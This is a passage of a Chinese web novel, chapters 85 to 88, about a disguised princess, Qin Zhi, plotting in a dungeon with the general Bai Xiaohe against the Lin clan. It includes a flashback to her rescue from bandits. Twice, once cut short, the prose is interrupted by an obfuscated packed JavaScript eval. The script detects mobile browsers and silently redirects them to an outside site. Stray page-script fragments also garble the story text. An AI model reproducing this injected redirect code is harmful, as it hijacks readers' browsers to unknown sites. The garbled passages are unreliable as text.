雒溪浑身带着伤,一眨不眨地看着他,直到韩晟没了耐心,才缓缓开了口,声音微微发哑,但能听出是少年,原本应该很漂亮的音色:“你……说、真…的?” “你能说话?!” “唔!” 两颗头“彭”的撞到了一处,连带着眼前都有些发黑,地牢之中,莫名陷入了长久的寂静和沉默,大概是有些无语了吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434557|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守卫扯着链条将牢门锁死,然后一言不发的转身离开,步入黑暗,微弱的烛火下,只有水滴声顺着墙壁往下流淌。 “哎,这就是你说的,给他个机会?”葛辞恙两腿一支,蹭着墙站起身。 “什么命啊一到冬天就往地牢跑。”秦祉冻得缩了缩肩,双手被麻绳捆着挪不开半寸,显然要比以往更狼狈点,“算是吧,你得容忍过程有了些许小偏差嘛。” “行,好,那么然后呢?”葛辞恙觉得自己太阳穴直跳,“等林百毓把消息扩散出去,届时迎你出去当天子吗?” “消息不会扩散出去的。”秦祉换了个舒服的姿势坐着,“你以为我托你传信,让出伏宁南面官道的原因是什么?” “从伏宁南面来......”葛辞恙若有所思道,“你确定来的是你的人?” 与此同时。 伏宁郡南面,马蹄声越来越大,大地震动,尘土飞扬,两队骑兵自南北两路而来,最终汇聚在此,陆绥轻勒缰绳,略显冷淡地颔首:“巧遇,柏将军。” ---- 秦祉一早便做足了准备,只是想法稍有些偏差,也算误打误撞,原本以为林百毓的目的,是借由官盐失踪一事开战,却不曾想这人竟是为了拥立天子来的。 陆绥是代表沧州牧陶卓来统阳调停的,晋赭自然有韩阁、司昀整装备战,至于柏萧鹤...... 秦祉微微眯起眸,看着眼前本不该出现在此地的人,眼下正轻甲玄衣,站在地牢门外。 “你和林氏做了交易。” 柏萧鹤视线细细地从秦祉面上扫过,最后落到阴冷潮湿的地面,微微蹙眉下蹲,从栏杆缝隙伸手去碰了碰,冰凉一片,他下意识摩挲了几下:“起来。” 一旁的葛辞恙看着相握的两只手瞪大了眼睛,不等秦祉反应,他上去就是一掌,将柏萧鹤的手直接拍掉,发出清脆的响声。 “干什么呢你!” 差点连着秦祉一起打了,她缩手搓了搓,的确很凉,还有些僵:“过去能有一周了吧,林百毓没有下一步动作,是在等你。” 不像是疑问,反倒像肯定句似的。 “有点疼。”柏萧鹤捂着泛红的右手,抬眼看她,没有正面回答秦祉的问题。 “忍着吧。”秦祉也不在意他的回答,她轻声说,“说不定以后会更疼。” 半响,柏萧鹤低笑一声: “林百毓想要吞并梌州,向外扩张,但师出无名;二是晋赭非同盟,一旦北上步入潭州,容易腹背受敌,三是不能轻易在梌州开战,怕被趁人之危。” 所以林百毓思来想去,决定干脆挟持秦祉,夺得一个两全其美。 “陆绥那边有了动作,听说是奔着统阳的方向来的,我得到消息,便猜到了殿下定然有对策,只好半路劫下陆绥,先一步到达统阳来见你。” 说一半,藏一半。 这绝对不是实话。 “大费周章的目的呢?”秦祉目光有些冷,瞧着柏萧鹤的眼神里没了往日的笑意。 柏萧鹤顿了顿,说:“端寿。” 85. 晋赭太守 长久的沉寂中,二人之间流转着说不清道不明的氛围,像是一道天然屏障,将其余人等通通隔绝开来,葛辞恙抱着臂来回扫视,隐约察觉出什么不对。 他们家秦祉不会是......被这男人缠上了吧? 警惕心徒然飙升,葛辞恙长臂一揽,搭在了秦祉肩头,低声耳语:“这人是谁,看着就不像个好人啊。” 秦祉耸了耸肩:“郁南太守,常胜将军柏萧鹤。” 柏萧鹤终于分出了点注意力,朝着葛辞恙的方向敷衍地抱拳:“陶卓的身子坚持不了多久,沧州迟早陷入乱战,若陆氏执意掌控端寿、唯你是从,那......” “那我们便是敌人。”秦祉打断道,“所以为了避免这等局面,你便同林百毓联手,逼我让出端寿......” “柏浪昭,楚湛是你杀的。” 柏萧鹤没有回应,只是缓缓解下身上的大氅,隔着栏杆披在秦祉肩头,视线专注而认真,半响才道:“什么时候知道的?” 秦祉不客气的扯了过来,裹紧身子,随口回道:“半个月前吧。” 也正是崔颉妙提及地“还有一人”。 “聪明,殿下。” “彼此彼此。”秦祉讥讽一笑,“倒是不如柏将军你,一边花前月下、烟火吹箫,一边......” 柏萧鹤不想听,他抬手便要去拦,被秦祉直接截在半空,死死攥住:“端寿让给你,本王的好处呢?” “梌州牧。”柏萧鹤反握住她的手,凑到嘴边轻轻落下一个吻,呢喃道,“士族豪强要站队,殿下便让他们去站,但不是天子,而是梌州牧。” 一旁的葛辞恙:……喂! “你要对林全甄下手?” “林百毓虽已掌控林氏,但他之上,林全甄那些人不死,便始终压他一头。”柏萧鹤说,“统阳、环琅、胤城、锦阳四郡要收复就要打,至少两年时间,不是我们要对林全甄下手,殿下,是林百毓。” 将这盆脏水扣林百毓脑袋上了。 秦祉思忖良久,说:“好,贾文勰和韩晟在外接应陆绥,今夜制造混乱大开城门,等府内林氏动乱,林全甄就交给你去处理。” …… “端寿如今是陶祺,若是陆氏撤出去,陶卓一死整个沧州便都是他柏萧鹤的囊中之物。”葛辞恙说道,“你们迟早会对上。” 秦祉垂眸看着厚实柔软的玄色大氅,笑道:“都说了半个月前就猜到了,我从未信任过他,又怎可能没有防备?” 至于这话有几分真几分假......秦祉就不愿去深究了。 当夜。 困意上涌,秦祉歪着脑袋靠在葛辞恙肩膀,呼吸平缓轻微。 “差不多是时候了。”葛辞恙揽了揽大氅,遮住秦祉的小半张脸,“你猜会是个什么样的结果?” 秦祉眼都不睁的回:“我相信贾言贺。” 这倒怪不上秦祉的区别对待了,即便是心悦,但柏萧鹤终究只是同盟,虽说二人也曾出生入死地经历不少,但立场不同,兵权在握的人要是不防备着,就必然容易被捅刀。 可贾文勰不一样。 那是秦祉还没有封王时就跟着她的人,她曾不止一次扮着世子的模样到访过晋赭。 ---- “咱们是偷偷从相国府跑出来的,小祖宗,我提前跟你说好,您可千万别给我惹事,不然你怎么样不说,我得被扒下去一层皮。”韩晟手里拿着一小包糕点,举在秦祉面前,“喏,尝尝,未必有府内的好吃。” 豆白常服略显低调,但衣料和少量发饰依然在无形中透露着身份的高贵,秦祉拨了拨额前的碎发,感受着江面徐徐而来的清风:“说的好像我能怎么样似的,我不过是去看看,全当来玩了。” 韩晟无奈地看着她:“我提前让人去查了,晋赭贾氏的嫡长公子贾文勰如今任晋赭太守,名望不错,百姓对其算是爱戴有佳。” 秦祉双手撑着栏杆,整个人腾起在空中一荡一荡:“我记得伏宁就在晋赭西边来着,葛辞恙前些日子回家,都有好长时间没见他了,你说我现在写封信给他,他会不会跑来晋赭找我玩啊!” 韩晟笑眯眯的鼓舞道:“可以呀,你叫他来,人多点玩的岂不更高兴?” 这样要是有什么事,好歹多个倒霉蛋跟他一起分担。 只是韩晟多少有些乌鸦嘴了,越怕什么就越来什么,甚至人还没到晋赭治所呢,就在县内出了事。 趁着韩晟在街巷买东西的时候,秦祉便坐在马车前到处看着往来行人,视线一下子被路边摊位上各式灯笼吸引走了:“这离上元节的灯会还远着呢,怎么这个时候还有花灯卖?” “您一看就不是咱们本地的人吧?”小贩笑着解释说,“咱们这每年夏季会举办“灯树节”,您这来的时间也巧,就在明儿个晚上,隔壁那条街开始,一直往里去好大一片呢,吃喝玩乐样样都有......” “灯树节?”秦祉微微诧异,“这还真是第一次听说。” “害可不是,据说也就是咱们这才有的,各地风俗不同嘛,好像最早是为了祈福秋天能丰收,后来逐渐演变成现在这样的。”小贩一边整理着摊位,一边说着,“您看有喜欢的就买回去玩玩,不过有个事可得小心着...” 这话瞬间勾起秦祉的兴致,她微微附身,双眼亮晶晶的问道:“什么事?” 小贩左右偷摸看了一眼,压低声音说:“您是外来的,有所不知,最近县城附近有伙贼人,没人知道是什么来头,但会挑有钱人下手,总之不算太平,看您打扮容易被盯上,还是小心点比较好。” 贼人吗? 秦祉挑挑拣拣,想到了什么般付钱拿了个兔兔花灯,道谢后转身往马车的方向走。 约莫一柱香的功夫,花灯摊主差点跪在那,人都傻眼了,磕磕绊绊地摇着头,欲哭无泪道:“我、我真不知道啊......那个少年刚刚就在这来着,买完灯我看他就往马车方向走过去了,再就没注意了啊!” 韩晟森然地盯着他,显然动了怒气,眼下人生地不熟,若是秦祉真出了什么意外,他就也可以不用活了。 县令也跟着慌了,原本好好待着的,突然被眼前这个男人揪着领子,吓得连茶都打翻了,还来不及发火,就得知了晴天霹雳般的消息:晋赭王的小世子在他们县城内失踪了?! 能出动的人都被派出去,可以说是全城搜捕,可过去这么久,如果真的只是因为贪玩,听到风声也该回来了,怕就怕...... 县令觉得自己双腿都在发抖,他无意识的咽了咽口水:“韩......韩校尉,在下已经派人去找晋赭太守了,小世子他、应该...不会有事的......” “你说的贼人是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不止,只是寻常百姓的孩子丢了闹的不大,士族家的孩子丢了才人尽皆知罢了。”贾文勰蹙眉,眼神冷了下来,“此事与那县令脱不开关系,等世子救出后就该着手处理了。” “哈哈哈哈处理?就凭你们?”那赤裸上半身的男人大笑着一脚将秦祉踹到,自己一屁股坐到了胡床之上,“咕咚咕咚”饮下一大碗浊酒,手背一抹,“这回就这么一个有点钱的,衣服首饰扒了,连着那两个人一起买到黑市去,我看这小子细皮嫩肉的,样貌能买个好价钱啊哈哈哈...” “啊!不要,放开我......”半大的女孩儿率先被吓哭了,连连往后面躲着,眼泪顺着眼角顷刻间爬满整张脸,“放过我吧......” 她身旁的孩子眼泪也在眼眶里打转,愣是撑着没掉下来,但显然也被这场面吓得站不稳,一屁股摔倒在地:“我......我可以给钱......” “钱,你能给老子几个钱?”半裸男闻言嗤笑一声,“还不如把你们买了来的实在,有这功夫不如去黑市好好表现,说不准被哪个看上了,大价钱买回去了呢?” 一双手企图要拉扯秦祉,火苗“噌”的一下窜的极高,秦祉当即提高嗓音,怒斥道:“你简直放肆!” 无形的气压瞬间扑来,明明是个半大的孩子,却让在场所有人一愣,连伸过去的那只手都下意识缩了回去。 只可惜威严也好、气场也罢,都是在身份能力的加持下变得更加唬人,如今的秦祉在这群人的眼里,不过只是个待宰的羔羊,仅此而已。 所以几秒之后,半裸的男子反而低低地笑出了声。 86. 中箭 “果然是个养尊处优、没经历过半点风浪的公子啊。”男人狠厉而贪婪的目光粘腻的附着在她身上,“竟然将我们当做他的奴隶来呵斥了?” 周遭稀稀拉拉地跟着笑了几声,就又被这人打断:“兄弟们,你们说,这种对咱们吆五喝六的人该怎么处置?能忍吗!” “这不得剥了他的皮,拿去挂在营寨外让大家开开眼!” 此起彼伏的笑声钻入三人耳中,尽管说的是秦祉,可后面那两个孩子吓得腿都软了,小姑娘哆哆嗦嗦地伸出小手,微微碰了碰秦祉:“你...你不要再、激怒他们了,会、会死的......” 秦祉反握着她捏了捏,低声说:“不会,我不会死在这种地方。” 但是我们会啊! 另一个孩子无声崩溃。 半裸的男人一扬下巴,侧方小弟了然动刀,劈手冲着秦祉而去,秦祉右手一拉,将那孩子带起猛地推了出去,两个人霎时碰撞着扑到了角落,摔个四仰八叉的。 刀算不上什么好刀,但秦祉手无寸铁,一味躲避着,打起来有些吃力,大刀横挥,秦祉双手拄着木案空中翻滚,然后一脚将其踹向刀下,只听“彭”的一声,四分五裂的炸开。 “操!”那人瞬间怒气蒸腾,大骂一声,半裸男见状微微直起身子,这小孩的身手......有点东西啊。 他又递给旁边人一个眼神,约莫一炷香的功夫,已经上了三个人也不曾将她拿下,秦祉喘着气,手上赫然握着一把大刀,嘿,抢来的。 半裸男眯起眸,观望了半天,最后忍不住大笑:“有没有人和你说过,虽然身手不错,但打仗最重要的是不要让敌人看穿你的弱点。” 弱点? 秦祉微微一愣,她刚刚露出什么破绽了? 只见半裸男果断提弓搭箭,箭羽的方向......糟了! 秦祉瞳孔一缩,单手从木案上一支,身体腾空飞过,“嗖”一声,只听两个孩子同时尖叫出声“啊!” 箭羽贯穿肩膀,疼痛瞬间席卷,冷汗紧跟着从额角滑落,力道之大直接带着秦祉整个人扑到了地上。 “你没事吧!”小姑娘连忙扑上来,将人扶起,鲜血顺着伤势淌了一手,“怎么办......你流血了......” “没、事。”秦祉咬着牙站了起来,这就是弱点,在打起来前将这二人推到角落,过程中也刻意避开了这里,所以这半裸男便发现她有意在保护他们两人,给她来了个声东击西。 毕竟年纪还是不大的,虽说平日里在都邑校场没少跟那些人打,但她身份在那,那群人不敢真的下死手,有个伤啊什么的顶多也就是淤青,真破个口子留个血,别说伤她的人先吓个不清,就连带她去校场的秦赜和葛辞恙,就得被秦赜亲娘王楚安先揍一顿。 但揍归揍,说归说,下一次秦祉出去练功,王夫人也仍然绝不拦着,因为所有人都明白,她注定要走上一条深沟高壑、步履维艰的路。 只是秦赜和葛辞恙碰着头讨论了半天,最后一致得出一条结论,王夫人就是想要找个由头揍他们罢了。 这群人也不愧是山匪贼人,做事一点都不坦荡,攻击转眼就奔着那两个孩子去了,俩人躲在秦祉身后倒也还好,偏偏刀剑无眼,吓得他们四处逃窜,一时间闹得屋里人仰马翻。 伤势被牵拉的更深,失血多的秦祉脸色都白了几个度,终于在她快要撑不住前,大批纷乱的马蹄声踏破这座山头,只听外面一道凌厉嚣张的怒斥:“叫你们的人都给本校尉滚出来!” 这群贼人何时见得如此大的场面,整个山头方言望去密密麻麻全是官兵,足有千人之多,为首的校尉将军刀锋下满是血迹,如修罗阎王般俯视夺命。 “怎么会!”有人惊慌失措,“之前从来没有惊动过官府的人,这次怎么会来这么多人!” “领头的人是谁?!” “老大——老大不好了!”那人连滚带爬地冲了进来,“外面的人是……是晋赭太守贾文勰,和都邑的……” 半裸男呼吸都停住了:“和什么!” “都邑的……朔昭校尉,韩晟!” “他们为什么......会来?怎么会惊动他们的!”半裸男惊的人都木了,像是被当头一棒,浑身上下都散发着刺骨的冷,一个是在晋赭呼风唤雨的士族,一个是都邑天子的朔昭校尉,这样的两个人为什么会同时出现在山寨里! 难不成......是他? 半裸男人脑袋轰鸣一声,咽了口唾液,极力克制着:“你,究竟是谁?” 觉得头脑发晕的何止这帮人,秦祉也一样,大刀支着地,她右手紧紧地撑着才不至于摔倒,听到这话她微微掀起眼帘:“我是谁不重要,重要的是你完蛋了。” 下一刻,官兵将人从门外直接踹飞,鱼贯而入将此地包围,韩晟只需一眼便看清秦祉的状态和伤势,肃杀之气笼罩全身,最后化为一声轻笑,笑意不达眼底,似在嘲弄着死人一般:“你们当真是活腻了。” “别杀光了,留个活口。”秦祉有气无力地挥了挥手,而后身子一软,脱力般仰躺下来,被人一揽,跌进了温暖的怀抱,那人轻声唤道,“世子殿下。” 这一道称呼彻底唤醒了在场所有人,山匪没有一个人想到眼前的少年竟然是一位世子,至于是谁,显然也不必再多说了,能够同时惊动晋赭太守和朔昭校尉的,有且只有那一人,是皇权至高处的晋赭王世子,楚霁。 毫无招架的余力,像是一场天差地别的围剿,只可惜无人在意这群人的下场,秦祉身上的伤需要止血疗愈,贾文勰连半分视线都不曾给那贼人,只双手一勾,将人抱离了这个是非之地。 秦祉这一觉睡的倒舒服,再度睁眼时外面已经日上三竿,身旁侍女见状连忙兴奋的喊着:“世子殿下醒啦!” 韩晟是第一个冲进来的,屈指便敲在了秦祉脑袋上:“简直服了你了,现在没什么事了吧,还疼吗?” “啊,太失礼了韩晟,我可是世子!”秦祉往榻里拱了拱,愤愤不平,“何况我那是救人 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“客套话就不必多说了,太守能将贼人背后势力连根拔起,造福百姓就够了。”秦祉假笑着,偷偷摸摸在被褥里踢了一脚韩晟,示意他说话,后者无奈地睨了她一眼,接道,“世子随性惯了,太守不必多礼,眼下既然无碍,等她伤势再好些,我们就得返程回都邑了。” “这么快?那什么灯树节我还没去成呢!” “顶着这个伤你还想去哪玩?”韩晟将被子一拽,裹住秦祉说,“安心养你的伤吧。” 看着二人又重新闹到了一起,贾文勰眼眸被笑意填满了,救下的两个孩子口口声声说着要来探望这位小世子,问其缘由才知晓,这人竟是为了他们才受的伤。 以及沿着山路洒下的红玛瑙,和众多贼人交手也并未落得多少下风,善良、聪明,小小年纪便德才兼备、武艺绝伦……他日若承得晋赭王位,至少他贾文勰愿意辅佐这样一位良人。 直到贾文勰公事缠身,迫不得已暂时离去,韩晟这才正色道:“说说吧,你这又是打的什么主意?” 秦祉看也不看地往后一倒:“什么什么主意,叫人备膳吧,我饿了。” “都准备着了,一会儿就好。”韩晟说,“以你的身手,那些个贼人可未必抓得住你,要是这么轻而易举的让他们得了手,你这打小的武功岂非白学了?” 韩晟凑近半分,歪头问道:“到底是什么让你决定要跟着混入营寨的?” “倒骗不着你。”秦祉嘟囔着转了个身子,“卖花灯的小贩说的,最近总有贼人出没,好歹未来是我的封地,我不得先探探虚实嘛,谁知道真就让我撞上了,上了马车才发现还有两个人被抓了,那山寨里呢,如果还有活口呢,所以索性就跟着去了啊......” “而且!”秦祉坐起身,“晋赭百姓对这事屡见不鲜,就说明内里官员定有问题,我一去便会惊动太守,一来可试探出这位太守的为人,是否将来可以为我所用,二来也可笼络人心、驾驭百姓。” “看着吧,不出几日晋赭坊间必定流传着我的绝世好名声~”秦祉洋洋得意的哼道。 “所以你果然就是在明知故犯!” “啊!韩晟你无赖!” 87. 家主 这一待足有个把月的时辰,秦祉在太守府里乐的悠闲自在,韩晟那边得了都邑的信,据说她受伤的消息传回去了,王夫人急得连字都要写飞了,韩晟盯着看了半天,没看明白怎么回事,秦祉嘲笑着结果,越看越蹙眉,什么…这个…那个……总之看的也是模棱两可的,总归就是那些话差不了,她便将信收了起来,着手面对眼前的风雨。 没错,葛辞恙赶来了。 晋赭他是第一次来,人生地不熟的,原本秦祉定会凑这个热闹,出门去接,然后一路说说笑笑的回来,只是眼下伤势未愈,秦祉为了躲这份骂,干脆闪身跑贾文勰那里避风头去了。 文书刚放下,一口茶还没有喝进嘴里,便有侍从禀报着,看见小世子的身影“嗖”的一下钻了进来,贾文勰诧异道:“世子?可是有什么事?” 秦祉若无其事地找了个垫子坐下:“没什么,你忙你的,不用管我。” 贾文勰了然一笑,命侍从添置了新茶:“听说伏宁葛氏的小公子要来晋赭,世子和他交情不错,不去见见?” 这人怎么哪壶不开提哪壶啊? 彼时的秦祉尚且还被贾文勰的外貌迷惑,哪里可知从这时这张嘴就已经露出马脚了。 ---- 地牢外一片混乱,声音顺着狭窄的小道一路延伸,传到了秦祉的耳中,她微微抬头望进黑暗:“开始了。” “外面不一定会是什么样的局面,等明日晨起,才能知晓败的人究竟会是谁。”葛辞恙伸了个懒腰,活动了下略显僵硬的四肢,“要出去看看吗?” 地牢关不住他们二人,葛辞恙有个不为人知的小技能,那就是开锁,他小时候的梦想是当游侠,可以云游四方的那种剑客,还因为这个被秦赜嘲笑说“会开锁那个不叫游侠,叫江洋大盗”,然后两个人打起来了,只不过这个技能如今倒有了用武之地。 “瞧瞧,林府现在上下都要乱成一锅粥了。”葛辞恙坐在树干,煞有其事的表示,“你说我要不要去帮忙添一把柴火?” 秦祉垂眸思索,轻声说:“和我去见林百毓。” “你不相信柏萧鹤?” 秦祉无声地看着他,没有说话。 葛辞恙看着她离去的背影,微微叹气,真是长大了啊,和小时候全然不同了。 …… “你居然敢骗我?”偏院,林百毓死死盯着坐在台阶上,相当悠闲恣意的人,“我许你沧州牧的位置,换来的便是你柏萧鹤的一出好戏!” 那人修长的两腿支撑在地,听到此话有了动作,黑暗中双眼一抬,犹如被唤醒捕猎的猛兽,漆黑的眸子微微发亮,嘴角微勾,声音低沉而冷漠:“林全甄坐在那个位置太久,你们林氏是时候该换血了。” “你当这里是你沧州郁南,随你想杀就杀?”林百毓压低嗓音,竭力克制着,“你不信我会帮你,却反而信他楚霁?你如何以为他拿下梌州不会反过来咬你一口,如今这个世道能做到他现在这个位置,能是什么蠢货废物不成?” 柏萧鹤轻蔑地笑了:“她那个位置想的多,顾忌的也多,所以你还有站在这里说话的机会,要真是我的地盘,你就已经死了。” 林百毓沉默半响,缓缓开口:“你是真不记得你父亲是怎么死的了?” 这话看着好似突兀,但气压却一瞬间低了下来,好似透不过气般,冷冽的眸子带着刺骨的寒,极具危险的气息铺天盖地的笼罩在偏院,眉宇间生出戾气,柏萧鹤五指赫然收紧,一眨不眨地盯着他,半响才道:“我有些后悔了。” 林百毓心下一惊,他忘了,这人一向不按常理出牌,这句话没有达到目的不成,反倒适得其反了! 这是柏萧鹤的逆鳞,是缠绕了他数年之久的噩梦,没有人会在他眼前提起,他也从不让自己多想,忘掉,把这一切都埋葬起来……他以为他已经忘记了的。 良久的沉默后,只见柏萧鹤手提银刃战戟,立于台阶之上,自高俯视,轻声说:“你应该庆幸,我答应了她……” “但林氏似乎不止有你一人可用吧?”他微微歪头,笑道,“你说我杀了你,再去跟她解释,她会原谅我吗?” “柏萧鹤你疯了!” “乱世之中,谁不是疯子。” 煞气化为一道利刃,林百毓感觉到了威胁,那是濒临死亡、毫无还手之力的恐惧,顷刻之间他觉得脑子都要转冒烟了,绞尽脑汁的琢磨着怎么打消这个疯子的念头。 正当两个人蓄势待发之时,有人打破了这个局面,让林百毓舒了口气,恨不得上去握手言谢。 “柏浪昭。”一道清冽的声音从墙头传来,像是烈日的一股清泉,将他的理智拉了回来,但柏萧鹤没有动,甚至视线都不曾偏移半分。 不对劲。 这是秦祉刚翻过墙就察觉出的,这人平常没个正形,除了战场上那股狠劲,一般懒散随意惯了的,而此刻带给秦祉的感觉,是颓意。 破罐子破摔,两败俱伤的颓丧和杀意在他周身波动着。 “柏浪昭。”她又叫了一声。 数秒沉寂之后,柏萧鹤卸了力道,闭眼轻喟道:“我在……” “我在这。” 一切尘埃落定,林府可谓翻天覆地,陆绥和浮生碰巧撞上了,险些没错认成敌人,索性韩晟到的及时,才不至于“自相残杀”,同时被迫夹在火上烤的林百毓在贾文勰笑里藏刀的眼神中,憋了一肚子的气,但又不得不承下那个新身份,至此,林氏家主将没有林全甄,而是他林百毓。 “我再来晚点,是不是连林百毓的影子都看不见了?” 柏萧鹤微微动了动,带上了熟悉的笑:“怎会?倒是殿下怎么出……” 话音未落,温热的触感从嘴角传来,柏萧鹤的声音一顿,他略微垂眸,看向点着自己脸颊的手指,秦祉戳了戳,说:“别笑了,不好看。” 柏萧鹤不易察觉地抿了下唇,笑容越发淡漠:“不好看吗,殿下总是看着我的脸,我还以为你喜欢呢。” “嘶......打扰一下 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秦祉没有说话,但仅仅是站在那里,任他靠着就足够了,等他缓和过来后,再度开口已恢复了平日的模样,只是这次不再是装出来的:“刚刚那人……也是殿下的密探?” “你酝酿半天要问的就只有这个?”秦祉眼睑一掀,带着笑意看他,下一刻锁骨传来隐约酥麻的疼,柏萧鹤的牙尖磨着抵住了她,“无赖。” 他浅声抱怨:“他为什么可以抱你?” 指的是地牢里那一下。 “那怎么办?”秦祉微微仰头,“那我去同他说一声,让他也抱你一下,免得我们柏将军不高兴?” 两人同时沉默后,又一起笑出了声,柏萧鹤似乎真的高兴起来,眉眼染上笑意,他直起身子退了半步,说:“行啊,你去说。” 恢复了。 秦祉从他脸上扫过,或许连自己都没有察觉到的情绪已经跟着一起渐渐消散。 “那人是伏宁太守葛辞恙,子赢叔的侄子。” “你准备的够多,若我......”柏萧鹤不着痕迹的一顿,“不来帮你,你原本的打算是什么?” “你那......”也叫帮? 后面的话还未出口,柏萧鹤一只手便抵在了她唇边,语调漫不经心:“殿下,别拆台啊。” 秦祉冷哼一声,从偏院的侧门顺长廊往回走:“你不来那就是谈判了,谁同意本王的条件,谁就是下一任林氏家主。” “中原十姓之中,自负者居多,林氏也不例外,他们不会以为真有人敢对他们出手,何况我已经落到他们手中。” 因此他们也想不到,秦祉从始至终,都不是来给林全甄庆什么狗屁寿宴的。 林府正厅,火势被灭的彻底,一具具烧的不成样子的尸身被侍从抬了出来,林百毓一身空青长衫被染上纤尘,此刻满眼通红,悲痛欲绝地看着熟悉的玉佩。 “瞧着演技。”韩晟扯着嘴角,“浑然天成啊……” 88. 参军 统阳林氏这回算是热闹,寿宴丧葬连成一串了,只是五服之上面色悲痛,五服之下各怀鬼胎。 “林府内有一地道,可通府外,即便大火也未必会全部命丧于内,可我昨日派人去查验,殿下猜他们发现了什么?”现任家主林百毓面容平静沉稳,眉宇间多了一分疲态,似乎是因为近些日子为林氏的操劳。 “是什么?” 林百毓从容不迫道:“蜃灰。” 地道被封堵住了,断了那些人的后路,林百毓并不在意这个,他真正关心的问题是,地道的秘密是谁泄露给面前这人的。 秦祉弯眸一笑:“哎呦这可真是,哪来的蜃灰呢,别是当初挖地道的人一不小心整混了吧?” “或许吧。”林百毓淡然道,“只是不知雒溪这人如今可在殿下身边?” “那是谁?”秦祉反问,而后似乎想起了点什么,说,“啊,是那个劫持官盐的人吧,瞧林家主这话问的......” “他不是让你,处死了吗?” 秦祉心下冷笑,猜去吧,究竟林氏是还有她朔昭阁的密探,还是唯有雒溪一人,猜去吧你。 …… 只是一波未平、一波又起,梌州牧尚未解决,转眼新的情报又递到了朔昭阁手中。 “你看见了吗?”司昀用手肘怼了下旁边的钟怀。 钟怀震惊且狐疑:“我应该没看见吧...” “嘶,你怎么可能看不见?” 钟怀闭了闭眼:“你到底想说什么。” 司昀摸着下巴:“不应该啊,这不应该啊,你说他怎么做到的,啧啧啧,毫发无伤啊。” 钟怀觉得自己额角青筋直跳,这人分明是故意在这刺激他的吧? 眼前,秦祉一行人浩浩荡荡地提步进了院内,留下一个少年不知所措地站在院外,眉眼颇具无辜,在视线扫过钟怀面容的那一刻明显被吓了一跳。 钟怀脸色一冷,抬脚逼近对方,吓得人倒退两步,而后同时一停,这人身后拐出来一位妇人,二人长相极为相似,但妇人却比之多了历经风霜的眼,看向万物尽是死寂。 钟怀一顿,回头与司昀对视一眼:什么情况? 后者摊手:我怎么知道。 消息来的突然,秦祉全然将雒溪和他母亲的事情忘到了脑后,一回来便进了书房议事,连口茶都是凌云想着后端进来的。 “这消息是李隽传过来的。”贾文勰抱着手炉,暖呼呼的触感传遍全身,连带着脸色都稍显红润,“周□□连同陈为一起,从两侧夹击,攻下襄州。” “襄州如今是周和的地盘。”秦祉若有所思道。 “正是,李隽的意思是,周令不想与自己亲弟弟彻底决裂,但襄州这个位置隔绝开翼、蜀二州,势必要夺,因而周令曾书信周和降伏。” “但他不会同意。”秦祉笑了,“周和这人自小就如此,一头倔驴。” 如若不然也不至于和她结下的梁子能有那么大,虽然这话要是让周和知道,八成真得气吐血,骂秦祉一句倒打一耙。 “这事不止周令和陈为急,按理说徐行才应当有危机啊。”秦祉接过茶,微微抿了一口,“若是翼、襄、蜀三州通通落到周令手中,徐行不得一碰三尺高。” 虞仓寅不急不徐地接道:“徐行若要出手,估摸着不出一月,主公便要被传唤都邑了。” “哎。”秦祉看他,乌鸦嘴! 不过这话八九不离十,徐行不会容忍周令势力扩大到威胁到他的地步,因此必定派人援助周和,但何止是他,周令一旦拿下襄州,各诸侯怕都沦落到一个心境去了。 因此出兵襄州的,绝不仅只有徐行一人。 “既如此,周令那边的动作让她继续盯着,一有消息即刻来报。” “是。” “阁主怎么说?” 翼州樵阳,少女一身玄色无袖袍衫,外搭藏青披风,发顶肩头落下点点飞雪,一张巴掌大的小脸上带着点肉,浅色双眸显得人畜无害,但内里仔细打量,神色又冷又狠,并非常人。 李隽将信烧毁,院中内廊留下一摊灰烬:“继续盯着,不需要有动作。” 天色极阴,漫天乌云压下,有些让人透不过气,李隽视线朝着远处露出一角的青山眺望,未几长叹了一口气,她觉得累了,有点想回家。 只是李府尚在,李府内的那些故人,却早已消散。 “李参军,太守有请。”侍从朝着李隽深深一礼,恭敬道,语毕,只听李隽声音清脆悦耳,含笑回:“请。” 故人……吗? “这便是相国府了,只是我提前同你说清楚,那秦女公子本就不喜与旁人接触,昨儿个西郊你也瞧见了,当着花中郎将的面,满座无人敢说话的地步,她都能谈笑自若,甚至于阵法用兵比葛将军还要……”段姝焉下意识停顿了,不着痕迹的改了口,“与他相比也算的上厉害,此等人绝非池中之物,你若能进门,说话自要小心。” “嗯,我知道的。”李隽手指搅着手帕,面前相国府极其宏大而气派,两侧什锦砖雕横贯东西,碧瓦朱檐下花团锦簇、春意盎然,大门两侧石狮精挑细酌、栩栩如生,单是站在几丈远外,李隽人就已经有些紧张了。 只是天不遂人意,门外的侍从只听了半句便开口道:“你们今儿来的不巧,女公子一大早便被葛家的小公子叫走了,眼下还不知何时能回府,便是等也未必等得到。” 李隽听到此有些犹豫,她下意识回头望向段姝焉,后者了然开口:“我们未必要见秦女公子,只是想着答谢秦府的救命之恩。” 侍从也跟着蹙眉:“你们是?” 李隽连忙答道:“家父是黄门侍郎。” “那这样,我进去替你们通报一声,只是结果如何却由不得我做主,若是你们愿意,便在此地等一会儿。” “自然如此,多谢。”李隽颔首道,见人离去,她们这才找了个铺子坐下,“我还以为这侍卫未必肯帮我们,不成想倒是个好说话的。” 段姝焉闻言轻笑:“你当相国府的人都是傻的不成?就你我二人的谈吐穿着,他如何分辨不出真伪,即便不认识,也断不会随意轻贱捉弄,只管等着吧。” 但这一等便是一炷香的时辰过去了,那侍从再度匆匆现身门外时,给出的答复却是:“二位女公子,还是请回吧。” “可……” 